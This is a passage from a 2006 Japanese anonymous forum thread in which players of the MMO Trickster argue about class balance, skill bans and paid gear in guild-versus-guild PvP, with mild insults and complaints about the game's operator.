スカ禁止ってわざわざ条件提示してるなら尚更。
>>106
俺はそんなGvを待っていたんだ >
108 名前:名も無き冒険者投稿日:2006/07/06(木) 05:56:24 ID:CTSLgjQe
>>107
なんというか、雷羊でもいないと感覚の存在価値が薄いんだよ。。
幸運で魔法の状態異常を回避できる感覚が雷羊を抑えられないからうざく感じるのだと。
狐使ってるからだが、SRつかってくる兎のほうが辛く感じるな。。
本当になすすべがない、だがそれは兎をフリーにしていることが原因だと思ってあきらめてるよ。
DMをきちんと掛けてくれる魔法や、BDを掛けていく攻撃。雷で足を止める羊などがうまく働いてくれれば
兎で恐れることもないからな。。
それと同じで雷羊うざいと思うところは魔法を処理する感覚がうまく働いていないだけなきがする。
雷羊はスカン魅力と違って回避が馬鹿だかい訳でもなし結構楽に落とせる。
そこの点がスカンは制限を掛けるべきだが雷は制限を掛けなくてもいいかなと思う一番大きな理由だがね。
長文&駄文乙
>
109 名前:名も無き冒険者投稿日:2006/07/06(木) 06:16:20 ID:u/utiSyl
>>108
基本的に雷羊はHPと回避装備で魅力並に落ちにくいわけですが。
楽に落とせる雷羊なんて存在価値ない。
うざがられる原因はHP15K↑回避160↑みたいな雷羊が補助だけに徹して、ただひたすら陰から足止めしてくるからでしょ。
感覚みたいに幸運高い職以外は雷投げられると、下手したら死ぬまでそこから動けなくなる場合もあるし。
MBでも足止めは防げないし、広範囲だし、飛び道具ってことで避ける方法は幸運高くするしかない。
マナブレでダメージ0にできればいいが、さすがにHP回避装備でもそこまでクソな魔力じゃない。
スカンも雷もどっちもどっち。
個人的には単体でミスる可能性あるスカンのほうがまだ気が楽。 >
110 名前:名も無き冒険者投稿日:2006/07/06(木) 16:56:25 ID:GqHlROmY
みんな魔弱いとか言うけど、今俺が所属してるギルドでは俺がアタッカーになってるんだが
by1432全身課金闇魔 >
111 名前:名も無き冒険者投稿日:2006/07/06(木) 16:57:27 ID:GqHlROmY
sage忘れすまん… >
112 名前:名も無き冒険者投稿日:2006/07/06(木) 21:32:48 ID:4TaAiyKU
何戦何勝何敗何分? >
113 名前:名も無き冒険者投稿日:2006/07/07(金) 08:08:01 ID:eRonmok3
150戦ぐらい90勝60敗ぐらいかな。
アタッカー一人の時が多いからキツイ >
114 名前:名も無き冒険者投稿日:2006/07/07(金) 08:29:05 ID:yvwegvuj
>>110
ガチャ装備で回避やHP上げてるならそれが普通だ
魔力や幸運にしか目がいってないやつは雑魚だね
例・・・>>59 >>76
>
115 名前:名も無き冒険者投稿日:2006/07/07(金) 18:47:18 ID:eRonmok3
そうなんですかね。
俺はGvの時はたいていHP装備でやってるんでそれがそうしたみたいですね。
dクス >
116 名前:名も無き冒険者投稿日:2006/07/08(土) 22:02:19 ID:rfrNF/sr
150くらいの闇竜で回避はどのくらいほしい?もちGvで。 >
117 名前:名も無き冒険者投稿日:2006/07/08(土) 23:03:56 ID:wVBcl6JY
>>109
スカンと雷の決定的な違いは対処の存在だけじゃない
・スカンは回復を含めて一切の行動が出来ない
・雷は足止めだけで、スキルや回復を使用できる
つまり、雷は実質的に攻撃以外には効果が低い。感覚相手はそもそも当たらないし
魔法は打ち返すことが出来るし、魅力はスカンを投げられる。
それでも移動制限が強いし、複数相手に出来るのは強いが、スカンの絶対的な
効果には遠く及ばないと思う。
個人的には雷は強さ的には、スピンやマジックバリアと同等のスキルだと思う。 >
118 名前:名も無き冒険者投稿日:2006/07/08(土) 23:52:28 ID:+wkeB2Qh
ってか雷はSKと組み合わせると誰相手でも完封できるからな。 >
119 名前:名も無き冒険者投稿日:2006/07/09(日) 00:20:59 ID:xiKdop5T
>>118
だからそれはSKがおかしいだけだから・・・ >
120 名前:名も無き冒険者投稿日:2006/07/09(日) 21:03:30 ID:qWOR51Fj
そもそも、SKはおかしすぎるよな。クール5s11s一切の行動が不能
命中率はステータスに依存ではなくスキルレベル依存マスターで命中率64%
止めている間自分も行動不能なフリーズのように
ダメージを受けると解除且つ自分も行動不能なら文句はいわないんだが
今の仕様は明らかに異常だろ。。 >
121 名前:名も無き冒険者投稿日:2006/07/09(日) 22:33:36 ID:RZ8ktxnt
でもスカで止めた魅力に直接殺られることは少ないだろ?
魅力なんて所詮補助。
そしてGvはチームワークだよ >
122 名前:名も無き冒険者投稿日:2006/07/09(日) 22:41:52 ID:FVnQf82F
>>120
トリートメントの必要性を高めるためだろ
攻撃に向かない補助魔の救済措置 >
123 名前:名も無き冒険者投稿日:2006/07/10(月) 01:49:09 ID:5aPrO8x7
>>121
確かに魅力に殺されることは余りない、だけど相手の強さなど関係なく11s行動不能にできるというのは
やっぱりバランス崩れているだろ。強い猫はSKで止めて放置してくるな。それで局地的な戦力がひっくり返って結局全てが崩される。
現在のような耐久性があるという特色とこのスキルの凶悪さも加わって、魅力は囲まないとどうしようもないのが多い
>>122補助のトリートメントを有効にするためという意見には賛成する、だけど現状のダメージバランスだと5s停止するくらいで致命傷だし
補助掛けてもらう前に終わることもしばしば補助を生かすのならばトリートメントをダウン系スキル一定時間予防スキルとかにするべきだと思う。
少なくとも、現状のトリートメントが役に立つのはこっちが優勢の時に限る。劣勢の時にトリートメントを掛ける前に殺される龍とかすごく多いしな
光龍を補助とするなら回復だけでなく回復&一回だけ予防くらいにすればバランスが取れていいのではと思うな >
124 名前:名も無き冒険者投稿日:2006/07/10(月) 02:45:45 ID:AtCb4T2A
対人にバランスなんてもうないようなもんじゃんw
スキルうんぬんより職の相性の方がでかいよ。
スカンが凶悪なのは今に始まったことじゃないし、いまさらグダグダ言ってもしょうがない。
それにPvだときついがGvだと魅力も簡単に落とせるよ。
ウサと変身猫つれて来たらいいだけだし。
これはあくまで予想だけど、獅子のダブルショット来たらもっとバランス崩壊すると思う。
PS×2のダメージが幸運狐以外にはほぼ必中で当たって、さらにクール3秒とかだし。
DS>PSでほとんどのキャラが落ちるでしょ。
現状のGvだとPSでノーマル6Kとか出てる人も普通にいるし、鷹の目も混ざればお察し。
さらにはガチャ装備で獅子はぬめという定説はもはやない。
こういうことを普通にやる頭悪い運営のゲームにバランスなんて求めるのが間違い。
おとなしくサービス終了までリアルマネー吸われてポイされるのを待つか、
ある程度の課金で区切りをつけて対人が多少楽しめる程度にしとくしかないよ。 >
125 名前:名も無き冒険者投稿日:2006/07/10(月) 11:20:22 ID:7+eyHaMv
WS実装したら兎と獅子だけでGVやってろって感じだな
他職はもう楽しめない気がする。
>
126 名前:名も無き冒険者投稿日:2006/07/10(月) 17:58:34 ID:rgpzB1vd
こんにちわ >
127 名前:名も無き冒険者投稿日:2006/07/11(火) 17:59:25 ID:JJFMvnc1
メンテで暇なんで誰か最強職とその理由を書いてくれ
>
128 名前:名も無き冒険者投稿日:2006/07/11(火) 18:01:02 ID:2xeNFIPn
爺社員
ちょっと修正するだけで俺らが阿鼻叫喚 >
129 名前:名も無き冒険者投稿日:2006/07/11(火) 18:06:01 ID:Toel5UtU
最強になりたかったら他のMMO行ったほうがいい
レベルの関係でもうお前が最強になることは皆無 >
130 名前:名も無き冒険者投稿日:2006/07/11(火) 18:06:34 ID:9V/wwOKE
>>127
うさこ
ガチャによって回避がものすごく上がりスピンという強力なスキルがある。
マジレス乙wwww >
131 名前:名も無き冒険者投稿日:2006/07/11(火) 20:37:45 ID:OtwGgCGs
GV終わったね。
今回のダブルショットとダークバリアは致命的だろう・・・ >
132 名前:名も無き冒険者投稿日:2006/07/11(火) 21:34:23 ID:b2ANGBvV
ダークバリアダメ軽減なしでしょ?
終わってるのはWSだけ・・・ >
133 名前:名も無き冒険者投稿日:2006/07/11(火) 21:48:27 ID:a52YW8H3
ダブルショットってなんですか? >
134 名前:名も無き冒険者投稿日:2006/07/11(火) 22:01:12 ID:pvSm0gJV
牛のもヤバイと思うんだけどなー……
PVで13k与えてるのみたらGVでは考えたくなくなった
>>133
マジレスすると
今回実装された獅子の新スキル
クイックショットが本当の名前だけど前からみんなダブルショットっていってたからそう呼ばれてもいるだけ >
135 名前:名も無き冒険者投稿日:2006/07/11(火) 22:27:42 ID:nU17vhZq
WSじゃウォーターシェルとかぶるからQSにしようぜ >
136 名前:名も無き冒険者投稿日:2006/07/11(火) 22:30:07 ID:bVkOjJP4
牛の海ぎりがやばいだろ。。
あの範囲とダメージはおかしすぎ、姉御の幸運バグなくなったし粘っこいの余りにかすっぷりに泣きそうになった
スロモ強化されたのが救いだけどね。。 >
137 名前:名も無き冒険者投稿日:2006/07/11(火) 22:30:39 ID:kH7hZlQD
まだはじまってもねーよ >
138 名前:131投稿日:2006/07/12(水) 01:22:08 ID:u3I2hBAw
ごめん。思ったより良調整だった。今回きちんと4タイプの相性が成立している
というわけで発言撤回 >
139 名前:名も無き冒険者投稿日:2006/07/12(水) 08:00:23 ID:rjcSHX4N
攻<感<魅<魔ってなっていていい感じのバランスかも
あとはダメージの倍率を下方修正してくれるだけで全然違うね >
140 名前:名も無き冒険者投稿日:2006/07/12(水) 10:58:30 ID:dq9WbQ8c
>>139
そうかな〜。体験した感じ獅子の一強っぽいけど。
まぁたしかに攻は天敵だがQSは明らかにやりすぎ。
他職では止める術がない。
Pvで必中で7Kってどうにもならんぞ。クール3秒だし。
QS>PS>RS>QSって続くし。
おまけにダークバリアで反射できないし。
海切りやカウンターパンチも確かにやばいが威力だけで、当たらなければ意味がない。
獅子のは威力もだけど、なにより幸運が相当高い人以外には必中ってのがおかしい。
これから最強を目指す人は銃獅子かウサおすすめ。
Gvなんてのはもう終わったシステムだと思ったほうがいい。
PvであれだけひどいのにGvなんかじゃいくらHPや回避あげても無駄。
獅子に撃たれるかウサギに殴られるかしかない。
これまで魅力が別格に強いと言われてたけど、これからは獅子とウサがGvを支配することになりそう。
魅力でもQSは無理。 >
141 名前:名も無き冒険者投稿日:2006/07/12(水) 12:35:07 ID:TwRn+CFf
対銃獅子
魅力 スカン封印解除で有利?
攻撃 スピン、アッパー、海切り 実質必中で天敵
魔 幸運回避HP高い雷羊なら互いに決めて無し 他は御愁傷様
感 銃は当然互角 幸運タイプは天敵 AAには有利
こんな感じじゃない? >
142 名前:名も無き冒険者投稿日:2006/07/12(水) 13:10:33 ID:VtQgfy43
これで片手銃来て盾もてるようになったら引退しようと思う俺銃獅子
もう自分でもいいのかってぐらい獅子強いよ…
メインのぬこなんてもう使うことないだろうな… >
143 名前:名も無き冒険者投稿日:2006/07/12(水) 17:33:42 ID:pehqsLj2
回避猫とかスカンやろうとしても撃つまでの間に
銃獅子にやられるよな >
144 名前:名も無き冒険者投稿日:2006/07/13(木) 00:24:31 ID:0telG1RV
今日メンテ後初めてGVやったけど、スカなしでもBGたぬとQSガンナー2人くらいいれば余裕なのね。。。
俺も飛び道具(スキル)欲しいなぁ >
145 名前:名も無き冒険者投稿日:2006/07/13(木) 01:58:45 ID:DKSREhLX
QSの二連撃の最中って回復可能なのかな?
これのよって大きく性能が異なるんだが・・・ >
146 名前:名も無き冒険者投稿日:2006/07/13(木) 14:32:40 ID:ox7/tjfx
>>145
ウサのスピンと同じ仕様。
スキル出した時点で総合ダメージ判定出てるっぽい感じ。 >
147 名前:名も無き冒険者投稿日:2006/07/13(木) 23:37:11 ID:UxitMrwx
なんかQSせいでGv終わったな
獅子2とかすでに勝てる気しないぽ(´・ω・`) >
148 名前:名も無き冒険者投稿日:2006/07/13(木) 23:42:19 ID:2IJD/jCh
住み分けすればいいんでない?
QS獅子と兎あつめて俺らTUEEEEEEで楽しむギルドと
獅子もしくはQSお断りなギルドで >
149 名前:名も無き冒険者投稿日:2006/07/14(金) 12:50:55 ID:es7gC4r7
Gvしてきたけどぎゃーぎゃー騒ぐほどQS大したこと無いじゃん
固めてボコれば余裕で勝てんじゃんw >
150 名前:名も無き冒険者投稿日:2006/07/14(金) 13:36:26 ID:1RaGDhxS
そりゃあ、固めてボコればどんなやつでも楽勝だろうな >
151 名前:名も無き冒険者投稿日:2006/07/14(金) 13:40:46 ID:fOh1XE7d
>>149
固めてボコるって、その時点で獅子一人に何人がかりなんだよ…。
お前バカだろw >
152 名前:名も無き冒険者投稿日:2006/07/14(金) 15:19:58 ID:M1LwDFqs
>>151
何人がかりでもいいから獅子はすぐにつぶした方がいいに決まってる
お前Gvしたことあるか? >
153 名前:名も無き冒険者投稿日:2006/07/14(金) 18:30:02 ID:hTwsYroF
固めてボコしてる間に何人やられるんだよwって話
相手無抵抗でつぶさせてくれるんですか?
Gv初心者狩って悦に浸ってる>>152乙 >
154 名前:名も無き冒険者投稿日:2006/07/14(金) 18:58:03 ID:es7gC4r7
Gvド素人が迂闊な事を口にするとあとで大恥かくよwww >
155 名前:名も無き冒険者投稿日:2006/07/14(金) 19:04:10 ID:jl6E297j
ID:es7gC4r7 >
156 名前:名も無き冒険者投稿日:2006/07/15(土) 10:14:02 ID:b4EV1ngk
昨日の夜にGvの観戦したが、終わってたぞ?
楽しみのかけらも見えなかった。
片方は獅子2匹とウサと狐と闇魔。
もう片方はウサと闇魔と猫と狐と牛。
両方ほぼフル課金。
結論から言うと獅子がいるほうが圧倒的勝利だった。
攻>感ってのはGvじゃありえない力関係だった。
鷹付きだろうけどQS必中でノーマル14Kだし、二人もいるから牛とウサが近づく前に確られてた。
ウサはダッシュも使ってたが全く無駄だったな。
んで二人落ちると勢いはお察しで3秒後にまたQSで2人死んでた。
さらには課金装備してる170↑回避猫が生き残ってたが、スロモやらされて2秒くらいでアパカとQSされて死んでたな。
見ててひどいとしか思えなかった。
獅子大したことないって言ってる奴は相手の獅子が弱いだけ。
あれはもう対人じゃない。Mob狩り感覚。
いかに課金装備で固めてQS獅子と鷹ウサとスロモ狐をそろえるかで勝負が決まる。
昨日10戦以上見たりやったりしたが、全部予想があたった。
構成と装備見ただけでやる前からどっちが勝つかわかるくらいだよ。 >
157 名前:名も無き冒険者投稿日:2006/07/15(土) 15:42:45 ID:V5c0DWrW
こりゃGVじゃQS禁止っぽいな・・・ >
158 名前:名も無き冒険者投稿日:2006/07/15(土) 17:19:23 ID:j7/u7OS4
>>2を参考にテンプレテスト。
付け足したほうが良いものがあれば挙げて下さい。
*鯖:
*月/日、時間:
*人数:
*対人orボス戦:
最大Lv、平均Lv制限:
フィールド:
キャラ制限:
スキル制限:
装備制限:
アイテム制限:
*は必須項目 >
159 名前:名も無き冒険者投稿日:2006/07/15(土) 17:20:41 ID:j7/u7OS4
ん・・・
人数は必須じゃないので修正
*鯖:
*月/日、時間:
*対人orボス戦:
人数:
最大Lv、平均Lv制限:
フィールド:
キャラ制限:
スキル制限:
装備制限:
アイテム制限:
*は必須項目 >
160 名前:名も無き冒険者投稿日:2006/07/15(土) 17:35:16 ID:giE4MKUN
何で鯖・月日・時間が必須なんだ?
てかしたらばでやれよ
>
161 名前:名も無き冒険者投稿日:2006/07/15(土) 18:07:19 ID:j7/u7OS4
>>160必須以外は書かなくてもいいということで。
鯖を決めなくてはF鯖、J鯖どちらか分かりませんね〜
日時決めなきゃいつやるか分かりませんね〜
理解できますか? >
162 名前:名も無き冒険者投稿日:2006/07/15(土) 19:59:42 ID:J+DxzhbC
>>161
なぜ>>2を参考にしてるか理解できないw >
163 名前:名も無き冒険者投稿日:2006/07/15(土) 20:09:25 ID:OcHFFVBN
俺も>>2を参考に
まったりと163get >
164 名前:名も無き冒険者投稿日:2006/07/15(土) 20:11:04 ID:2I+kH3+R
FとJでGvしたいね。
トーナメントにしてさ。廃レベ者が引退していくせいか、最近特に平日のF鯖はGvしてるところ少ないし、平均もかなり低い…
昔は高レベばかりだったから頑張って上げたのに…('A`) >
165 名前:名も無き冒険者投稿日:2006/07/18(火) 00:18:54 ID:1gdse0EJ
ダークエレメントをマスターしても回避なきゃ魔は弱いままですか? >
166 名前:名も無き冒険者投稿日:2006/07/18(火) 02:46:11 ID:vwPG9hyS
>>165
ぶっちゃけダメージが減るわけじゃないからね〜
DEを本気で使うなら完全HP装備でうたれまくれば使える…かもね?(スキル受けて生き延びてアロー打つとかね)
ただDEは銃攻撃が反射しないので、魔なら回避よりも幸運を…かな?幸運あればQSで死なないし、逆に獅子倒せるはず >
167 名前:名も無き冒険者投稿日:2006/07/18(火) 02:50:15 ID:vwPG9hyS
補足じゃないけど…
結局魔はほとんど魅力に勝てるわけないので
魔は弱いというけれど戦い方次第では普通に強いから。
まあ頑張れ >
168 名前:名も無き冒険者投稿日:2006/07/18(火) 12:14:02 ID:1FJtKIoU
まだ対人に望みを持とうとしてる人いるのか。
勝ちたいならフル課金銃獅子かウサ作るといいよ。
Mっ気のある負けてもPK気持ちえぇ〜って人は好きなキャラ使うといいかな。 >
169 名前:名も無き冒険者投稿日:2006/07/22(土) 08:28:21 ID:djHZwkA/
過疎age >
170 名前:名も無き冒険者投稿日:2006/07/22(土) 20:58:39 ID:Vwbr7cKx
あげてみる >
171 名前:名も無き冒険者投稿日:2006/07/22(土) 21:20:19 ID:o3SzJm4Z
最近gvツマンネー
ギルドのメインメンバーの中で俺だけ参加してない。 >
172 名前:名も無き冒険者投稿日:2006/07/22(土) 21:45:05 ID:Vwbr7cKx
出ても獅子とうさにボコられる現状 >
173 名前:名も無き冒険者投稿日:2006/07/23(日) 05:29:01 ID:8e9tMkIe
獅子キモいよ獅子。
近づけないよ〜 >
174 名前:名も無き冒険者投稿日:2006/07/23(日) 15:50:49 ID:hxUT7I67
相手にもよるが獅子一人じゃ何にも出来ないって。
幸運高すぎる狐、魔にはQSはずすし
攻撃、魅力なんざHP高い訳だからQSやっても死なないしなない(攻撃ならコンボで倒せるかもだが)
ギルドという枠なんだからやっぱり仲間と協力してやらんと。
獅子はぬめだから狸のBG、威力上げにうさぎの鷹の目がないとね。
回避高い魅力に対してはやっぱ獅子は二人欲しいし。
あとは魔がDMしつつ攻撃とかになるが。
正直負けまくるってとこは、メンバー構成やチームワークがないと思う。まあもちろんプレイヤー次第もちょっとはあるけどな
>
175 名前:名も無き冒険者投稿日:2006/07/24(月) 02:43:09 ID:I0cJgteJ
HP高くてもほぼ必中だし、POT連打しないといけないからかなり行動を制限できる
それと幸運高い奴は味方の攻撃や魅力に任せてればおk
自ギルドと獅子数が少ないとこと戦っても滅多に負けることはないな(・ω・)
QS実装後は5割程度の勝率がQS実装後は9割前後まで跳ね上がったよ >
176 名前:名も無き冒険者投稿日:2006/07/24(月) 16:36:04 ID:NXew85rj
>QS実装後は5割程度の勝率がQS実装後は9割前後まで跳ね上がったよ >
177 名前:名も無き冒険者投稿日:2006/07/24(月) 17:06:04 ID:5ylU7eLA
QSお断りwww >
178 名前:名も無き冒険者投稿日:2006/07/24(月) 18:38:05 ID:fUkJAbaa
トリスタの対人は終わってるな >
179 名前:名も無き冒険者投稿日:2006/07/25(火) 08:25:20 ID:PA4hozWg
>>175
それが真理だろうな
>ギルドという枠なんだからやっぱり仲間と協力してやらんと。
これも全くもってその通りだが、実際は獅子が3人密集し、協力してQS撃ってる現状。
攻撃に銃耐性スキルでも来ない限り、暫らくGvは獅子の数で勝敗が決まるだろ。 >
180 名前:名も無き冒険者投稿日:2006/07/25(火) 15:23:40 ID:+sOWn9Be
攻撃に銃耐性スキルはあんまり、ダウンスキルを遠距離から当てれるようにすれば
まだどうにかなるんじゃないかな?
>
181 名前:sage投稿日:2006/07/26(水) 04:08:59 ID:nBCBVHzI
獅子の数が合わなければ勝てる見込みはまずない
おかげであんなに好きだったGvを卒業した俺・・・。
Gvの為だけに課金&ガチャにかけた情熱も今はただ後悔しか残ってねぇ
そんな自分が大好きだ(^ω^) >
182 名前:名も無き冒険者投稿日:2006/07/26(水) 05:24:34 ID:AHwJ42ZY
>>181
後悔するぐらいなら獅子つくれ!
そんな自分ギルドのGV用に獅子作った。だがしかし完成もしてるのにギルドでGVしなくなった…orz
傭兵行けって?う……うん…………… >
183 名前:名も無き冒険者投稿日:2006/07/26(水) 17:37:51 ID:gaHW+3Lo
>>182
俺と一緒に獅子オンリーギルドでも作るか? >
184 名前:名も無き冒険者投稿日:2006/07/26(水) 20:27:58 ID:AHwJ42ZY
>>183
正直……惹かれたw >
185 名前:名も無き冒険者投稿日:2006/07/28(金) 19:54:01 ID:dbhsClRT
ageるよ? >
186 名前:名も無き冒険者投稿日:2006/08/04(金) 03:08:51 ID:FA8APACP
あげ >
187 名前:名も無き冒険者投稿日:2006/08/04(金) 11:30:40 ID:q90CPFH4
ハイブリットでHAにデストロイとノックダウンついたら強そうだなぁ >
188 名前:565投稿日:2006/08/06(日) 05:48:38 ID:VvWWV7X7
既出かもしれんがGvで一番使えないの龍じゃね??
控え室での募集で龍以外募集とか目立つし・・
俺メイン龍だけどかなりショックうけたわ >
189 名前:名も無き冒険者投稿日:2006/08/06(日) 06:40:30 ID:pPXKEIy7
>>188
あんまりGvはやったことないんだけど、ダークエレメントは強いんじゃないの?
>
190 名前:名も無き冒険者投稿日:2006/08/06(日) 06:48:01 ID:w22khEN+
本当に使えないのは風羊だと思う。
話がずれちゃうけど使える使えない関係なく傭兵では龍及び魔は出やすいと思う。
あと攻撃もでやすいかな?
魅力、ガンナーはGV相手を探すことを考えるとどうしてもギルド内に二人が限界だろうし、ぶっちゃけ一人いるならひろいずらいだろうし。
だから最近ガンナー獅子が結構傭兵の売れ残りみたいな感じでいるのはよくみる
狐やその他獅子書き忘れたけどまあやっぱり拾われるはず。
龍使えないっていうけれど幸運とQS耐えられるHPがあればガンナー獅子撃破できるだろうし、闇龍なら反射マスターまでしてれば攻撃型とか威力高い人の攻撃うけるともしかすると共倒れまでもってこれるだろうし。
>
191 名前:名も無き冒険者投稿日:2006/08/06(日) 07:18:46 ID:w22khEN+
>>189
一応突っ込んでおけばDEは魅力のミラーの様にダメージの軽減はしてくれないから強いとはいえない。
銃攻撃は反射しないしね…本当に利用するならそれなりのHP装備にしないと生き残れない。
ちなみにマスターで自分の受けたダメージの約半分が相手にいくとなる。
まあDEはTM的に厳しいと思うから…高レベル帯じゃないと厳しいのかな?
優先してとるほどではないかと
150レベルあたりの闇龍なら
・アロー(マスター)
・シャワー(マスター)
・フェア(マスター)
・リカバリー(レベル10またはマスター)
・マナチャージ(レベル1)
・フレイム(マスター)
・イビル(マスター)
・ランス(マスター)
がまず必須(大抵覚えている)だろうし
サポートや魅力対策として
・DM(マスター)
を考えると大抵TMが微妙に残る程度になるはず。
DEを覚えるには先にテントをレベル10までにはしないといけないから…
うん長くなったすまん
>
192 名前:名も無き冒険者投稿日:2006/08/06(日) 09:53:42 ID:Z5zXy10Q
闇龍のイメージ
対魅:バリアで無力化、SKで沈む。
対攻:お互い確殺なので互角。高レベにもDMで対抗は可。
対魔:互角。
対感:当たらない、もしくは詠唱中に射殺。幸運装備だと今度は攻を確殺できなくなる。
対攻でしか活躍出来ない上にそれでも絶対有利と言う訳ではない…。1人いれば十分だわなw >
193 名前:名も無き冒険者投稿日:2006/08/06(日) 16:34:18 ID:5Lby7QRS
>>188
龍以外を募集するのは
自前で龍は揃っているからだと思うが >
194 名前:名も無き冒険者投稿日:2006/08/10(木) 10:25:16 ID:DWGD1D4z
ぬこ使ってるけど龍より仕事なくなった気がする。
スカ禁止にされると壁程度の役割。
変身は対人では微妙、高回避でも銃ダメ減らない、攻撃当然当たらない。
回避ぬこに愛の手を_| ̄|○ >
195 名前:名も無き冒険者投稿日:2006/08/10(木) 12:30:29 ID:hFriEKXG
結局みんな自分が一番マゾいって愚痴ばっかなのな。
未だ最強クラスのSKに頼りきって「禁止されたら何も出来ません」って。
それしかしないならぬこ使ってる意味ないじゃんw >
196 名前:名も無き冒険者投稿日:2006/08/10(木) 14:28:40 ID:DWGD1D4z
他に仕事なんてあったっけ? >
197 名前:名も無き冒険者投稿日:2006/08/10(木) 14:49:05 ID:hFriEKXG
自分なりになんか考えたらいいじゃない。
FCしてみるとか、狸と違ってBGしなくていい分行動に余裕があるんだし1体に粘着してBDとかMBしたり。
何も出来ないんじゃなくてしようとしてないだけジャマイカ?
>
198 名前:名も無き冒険者投稿日:2006/08/10(木) 15:06:06 ID:DWGD1D4z
回避装備→スピン、アッパーはほぼ回避。銃で沈む
命中装備→HK、CT共に当たらず(二割程度)
AS+FC→銃の前に効果なし
後は何だ、MUで突撃か。 >
199 名前:名も無き冒険者投稿日:2006/08/10(木) 15:52:04 ID:hFriEKXG
対獅子は魔が魅に勝てないのと同じようなもんだろ。
俺も狸だから今まで最強クラスだったのが銃相手にあっさり沈むようになった悔しさはわかるがFCなんかはBGしてる身としては凄く有り難いんだぞ。
最強厨が多いせいか愚痴ばっかなぬこが多いがぬこは支援としてはかなり優秀なんだし周りに感化されずに誇らしげにしていて欲しいと思う。
ちなみにさっきBDとか書いたがアレ素でボーっとしてた。スマソ >
200 名前:名も無き冒険者投稿日:2006/08/10(木) 16:11:03 ID:DWGD1D4z
最近はBG禁止ってとこもあるよね(´・ω・)制限されるのは切ない
しかし回避による銃ダメ減少ってのはどれほどなのか。そこが気になる。
最近の派手な沈みっぷりに獅子作ろうかとも思ったけど、
支援ぬこ必須って言われる位まで育てるよ。
↓以下いつもの流れで >
201 名前:名も無き冒険者投稿日:2006/08/10(木) 17:51:57 ID:UCvoWmHF
んじゃ、保守 >
202 名前:名も無き冒険者投稿日:2006/08/10(木) 20:34:04 ID:0THQcbxf
>>194
バリアブレイク、マナブレイクやればいいんじゃね? >
203 名前:名も無き冒険者投稿日:2006/08/11(金) 08:10:24 ID:Z4Brvhxd
>>194
高回避でも銃ダメ減らない
今日、gvしたけど獅子がぬこにQSぶっ放してもミスばっかだったぞ
どうなってんの? >
204 名前:名も無き冒険者投稿日:2006/08/11(金) 10:22:55 ID:3r75BmbS
QS弱体化 >
205 名前:名も無き冒険者投稿日:2006/08/11(金) 16:05:29 ID:P4A87ZF2
なんだ、こんなスレがあったのか。今日初めて知った。
この板はしたらばトリスタ板じゃないですよ。トリスタの立場どんどん悪くなるからもうやめてよ。
>>1「無いからなんとなく」って・・・したらばにあるじゃんGvGスレ。なんか話題もかぶってるし。笑えないよ。
保守とかしてるやつもいるし。保守の意味分かってなさそうだし。もうね。なんなのこのスレ。 >
206 名前:名も無き冒険者投稿日:2006/08/11(金) 16:18:24 ID:RU5Eojz3
>>205
日本語でおk >
207 名前:名も無き冒険者投稿日:2006/08/12(土) 01:17:13 ID:pFn6sdR6
いつからなんだろ、回避による銃ダメ修正入ってます。
実験結果:回避1につき9減少でした。 >
208 名前:名も無き冒険者投稿日:2006/08/12(土) 01:25:21 ID:3QUJ8j5W
ずいぶん前からそうじゃなかった? >
209 名前:名も無き冒険者投稿日:2006/08/12(土) 01:31:22 ID:pFn6sdR6
あら、俺が気付かなかっただけか(ノ∀`)
失礼しました。 >
210 名前:名も無き冒険者投稿日:2006/08/14(月) 09:38:49 ID:Wx/KuH3p
あげまーす >
211 名前:名も無き冒険者投稿日:2006/08/14(月) 09:41:38 ID:S8Q676m/
そんなことより俺の給料あげてくれ >
212 名前:名も無き冒険者投稿日:2006/08/14(月) 09:43:16 ID:7rRjlzdz
ホレ [給料]
(・∀・)ノ >
213 名前:名も無き冒険者投稿日:2006/08/16(水) 11:07:40 ID:UA2rElJI
たぬぬ変身はGvではどうなの? >
214 名前:名も無き冒険者投稿日:2006/08/16(水) 15:43:52 ID:iuFSwp40
>>213
回避極なら銃ダメが凄い軽減されるが、スキルしかダメージ源ない上にBG使えないから罠スキル。
たぬぬ一匹制限が暗黙の了解なのに変身しててBGしないたぬぬは空気嫁感たっぷり。
BGで守られた全員の火力>>>>自分だけ死なない変身たぬぬの火力
というのが使ってみた感想。 >
215 名前:名も無き冒険者投稿日:2006/08/16(水) 16:02:43 ID:UA2rElJI
>>214
さんくす。やはり変身スキルは狩り用か… >
216 名前:名も無き冒険者投稿日:2006/08/16(水) 16:56:33 ID:iuFSwp40
BGたぬを他にもう一人入れていいなら弱くはないんだけどね。
まとまってないレビュースマソ。 >
217 名前:名も無き冒険者投稿日:2006/08/17(木) 07:17:10 ID:12E2PmD+
言えるのは猫が狸の弱体化版になっちまったってことだな >
218 名前:名も無き冒険者投稿日:2006/08/17(木) 12:18:52 ID:BoKr7bOV
弱体化っていうか劣化版な >
219 名前:名も無き冒険者投稿日:2006/08/17(木) 12:59:04 ID:HDG1T+Fv
2次職来たらハイブリット選んで、猫はミューテーション、狸はメイクアップってなれば結構行ける気がする
(ていうか変身できるのか?たぬぬがメークアップ猫のドット絵だったら・・・) >
220 名前:名も無き冒険者投稿日:2006/08/17(木) 15:39:09 ID://PDImQo
俺たぬぬ使ってるけど、最近じゃあボデガとかもうほとんどの奴らが禁止を求めてくるよ。
部屋入ってきてボデガなしでいいですか?って言ってくる輩ばっかり。
何も言ってこない方が珍しい。
しまいにゃスカもだからたぬとか無条件で2つのスキル封印を要求されるし。
断ると大概のやつが逆ギレするしね。
最近思うけどたぬにボデガやスカなしとか言うなら、うさだと鷹とか牛なら海斬りとか同じだけのものを封印しろと思うけどね。
ボデガやスカされると勝てないし卑怯とか言う奴いるけど、たぬは味方を守るのが役割の職なのにそれ封印されたら職の長所取られるだけでしょ。
命中面とかで所詮は補助役に徹した方が強いたぬなのに、補助できなくてヒット役にまわるしかないならウサや獅子のほうが優秀だし。
スキル封印を求めるなら自分達も同等のスキルを封印するのが筋じゃない?って思うのはおかしいことですか??
無条件封印を求めるのは当たり前ですかね。 >
221 名前:名も無き冒険者投稿日:2006/08/17(木) 16:18:17 ID:noykCCc3
その辺りの規制って正直うざい。
「強いものが立つ」
それが絶対で唯一のルールだったはず。
今のガキはそんなことも知らないのか。 >
222 名前:名も無き冒険者投稿日:2006/08/17(木) 16:44:04 ID:KHuOFx2D
俺もたぬぬ使ってるけどBGは仕方ないよ。
確かにたぬぬだけスキルをひとつ封じるのは不公平かもしれないけど、
それだけBGの有り無しが試合に影響するってことなんだと思う。
お互いにBG無しでやったら互角だったのに、片方をBG有りにしてみたら
大差がついたこともあるし。
